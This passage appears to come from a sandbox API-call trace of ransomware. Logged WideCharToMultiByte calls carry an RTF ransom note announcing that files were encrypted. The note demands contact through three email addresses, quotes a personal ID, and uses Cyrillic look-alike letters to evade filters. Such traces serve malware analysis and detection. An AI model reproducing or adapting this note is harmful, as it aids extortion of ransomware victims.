r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0033.951] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts 